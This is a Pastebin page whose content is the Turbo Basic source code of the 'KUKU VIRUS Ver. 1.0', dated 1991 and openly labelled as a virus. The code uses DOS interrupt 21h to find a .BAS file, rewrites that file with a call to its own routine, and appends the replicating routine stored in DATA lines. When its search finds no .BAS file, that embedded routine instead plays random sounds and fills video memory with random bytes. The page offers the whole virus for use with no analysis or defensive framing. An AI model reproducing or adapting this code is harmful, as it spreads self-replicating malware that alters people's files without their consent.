Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $event OFF
- DEFINT a-z
- SCREEN 0,0,0
- ?"KUKU VIRUS Ver. 1.0 (Distribution module.)"
- ?"Copyright (C) � IVC � Moscow groupe.":?
- color 15,4:
- ?"***************************************"
- ?"* D A N G E R !!! *"
- ?"* Virus for Turbo Basic source files. *"
- ?"***************************************":BEEP
- color 7,0
- ?:?"Press any key to process ...";
- WHILE INKEY$="":WEND
- ?" process";
- CALL kuku
- IF z=0 THEN ?"File infected."
- IF z=11 THEN ?" imposible (NO FILE FOR INFECTED)."
- ?:?"About all question call to MOSCOW GROUPE of International
- ?tab(45);"Viruses"
- ?tab(45);"Company (IVC, Inc.)
- WHILE INKEY$="":WEND
- SCREEN 0,1,0
- SUB KUKU
- SHARED z
- n$=STRING$(8,63)+CHR$(46)+CHR$(66)+CHR$(65)+CHR$(83):DIM dta%(32),find%(32)
- FOR a%=0% TO 32%:dta%(a%)=0:NEXT
- FOR z=0 TO LEN(n$)-2 STEP 2:find%(z/2)=ASC(MID$(n$,z+2,1))*256+ASC(MID$(n$,z+1,1)):NEXT
- reg 1,&h1A00:reg 8,VARSEG(dta%(0)):reg 4,VARPTR(dta%(0)):CALL interrupt &h21
- reg 1,&h4e00:reg 3,attr:reg 8,VARSEG(find%(0)):reg 4,VARPTR(find%(0)):CALL interrupt &h21
- IF reg(1)<>0 THEN p$=STRING$(15,255):GOTO findfirst1
- FOR a=0 TO 32:h=dta%(a) AND 255:p$=p$+CHR$(h):l=(dta%(a)-h)/&h100 AND 255:p$=p$+CHR$(l):NEXT
- findfirst1:
- dta$=p$:f$=MID$(dta$,&h1f,13):IF f$=STRING$(LEN(f$),255) THEN z=11:EXIT SUB
- a=INSTR(2,f$,CHR$(0)):file$=MID$(f$,1,a)
- ?:?"Infecting file :"file$
- NAME file$ AS CHR$(128)
- s1$=CHR$(67)+CHR$(65)+CHR$(76)+CHR$(76)+CHR$(32)
- s2$=CHR$(68)+CHR$(65)+CHR$(84)+CHR$(65)
- s$=CHR$(75)+CHR$(85)+CHR$(75)+CHR$(85)
- OPEN CHR$(128) FOR INPUT AS#1
- ?"Size:"LOF(1)
- OPEN file$ FOR OUTPUT AS #2
- ? #2,S1$S$chr$(13)CHR$(10)
- ?"Transfer file ..."
- WHILE NOT EOF(1):LINE INPUT #1,a$:IF a$="CALL KUKU" THEN z=10
- ? #2,a$:WEND
- IF z=10 THEN ccq
- ?#2,CHR$(32)
- ?"Move data ..."
- FOR a=1 TO 2
- RESTORE KukuData
- IF a=2 THEN ?#2,S$+s2$+CHR$(58)
- WHILE QWE$<>CHR$(39)
- READ qwe$
- IF a=2 THEN ?#2,S2$+CHR$(34);
- ? #2,qwe$
- WEND
- qwe$=CHR$(32)
- NEXT
- ?#2,CHR$(69)+CHR$(78)+CHR$(68)+CHR$(32)+CHR$(83)+CHR$(85)+CHR$(66)
- ?"Out size:";LOF(2)
- CLOSE #1,#2:KILL CHR$(128):
- END
- ccq:
- ?:?"File already infected ...":z=10
- CLOSE:KILL CHR$(128)
- EXIT SUB
- kukudata:
- DATA"sub KUKU"
- DATA"' KUKU VIRUS FOR TURBO-BASIC !!!"
- DATA"' This virus make at UPK-2 of Sevastopolsky r-n, Moscow.
- data"n$=STRING$(8,63)+CHR$(46)+CHR$(66)+CHR$(65)+CHR$(83):DIM dta%(32),find%(32)
- DATA"for a%=0% to 32%:dta%(a%)=0:next
- data"FOR z=0 TO LEN(n$)-2 STEP 2:find%(z/2)=ASC(MID$(n$,z+2,1))*256+ASC(MID$(n$,z+1,1)):NEXT
- DATA"reg 1,&h1A00:reg 8,varseg(dta%(0)):reg 4,varptr(dta%(0)):call interrupt &h21
- data"reg 1,&h4e00:reg 3,attr:reg 8,VARSEG(find%(0)):reg 4,VARPTR(find%(0)):CALL interrupt &h21
- DATA"if reg(1)<>0 then p$=string$(15,255):goto findfirstfile1
- data"FOR a=0 TO 32:h=dta%(a) AND 255:p$=p$+CHR$(h):l=(dta%(a)-h)/&h100 AND 255:p$=p$+CHR$(l):NEXT
- DATA"findfirstfile1:
- data"dta$=p$:f$=MID$(dta$,&h1f,13):IF f$=STRING$(LEN(f$),255) THEN
- DATA"for J=1 to 1500:Sound Rnd(1)*(1500-j)+40,.01:NEXT:delay(2)
- data"SCREEN 1:DEF SEG=&Hb800:FOR a=0 TO 16384:POKE a,RND(1)*255:NEXT:EXIT SUB
- DATA"end if
- data"a=INSTR(2,f$,CHR$(0)):file$=MID$(f$,1,a):NAME file$ AS CHR$(128)
- DATA"s1$=chr$(67)+chr$(65)+chr$(76)+chr$(76)+CHR$(32):s2$=chr$(68)+chr$(65)+chr$(84)+chr$(65):s$=chr$(75)+chr$(85)+chr$(75)+chr$(85)
- data"OPEN CHR$(128) FOR INPUT AS#1
- DATA"open file$ for output as #2
- data"? #2,S1$S$chr$(13)CHR$(10)
- DATA"while not eof(1):line input #1,a$:? #2,a$:wend
- data"?#2,CHR$(32)
- DATA"for a=1 to 2:restore KukuData
- data"IF a=2 THEN ?#2,S$+s2$
- DATA"while QWE$<>chr$(39):read qwe$:if a=2 then ?#2,S2$chr$(34);
- data"? #2,qwe$+CHR$(34):WEND
- DATA"qwe$=chr$(32):next
- data"?#2,CHR$(69)CHR$(78)CHR$(68)CHR$(32)CHR$(83)CHR$(85)CHR$(66)
- DATA"close #1,#2:kill chr$(128):exit sub
- data"' KUKU Virus Version 1.0
- DATA"' (C) �IVC� Moscow groupe. 25-May-1991. Serial No.0003529
- DATA"'"
- END SUB
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement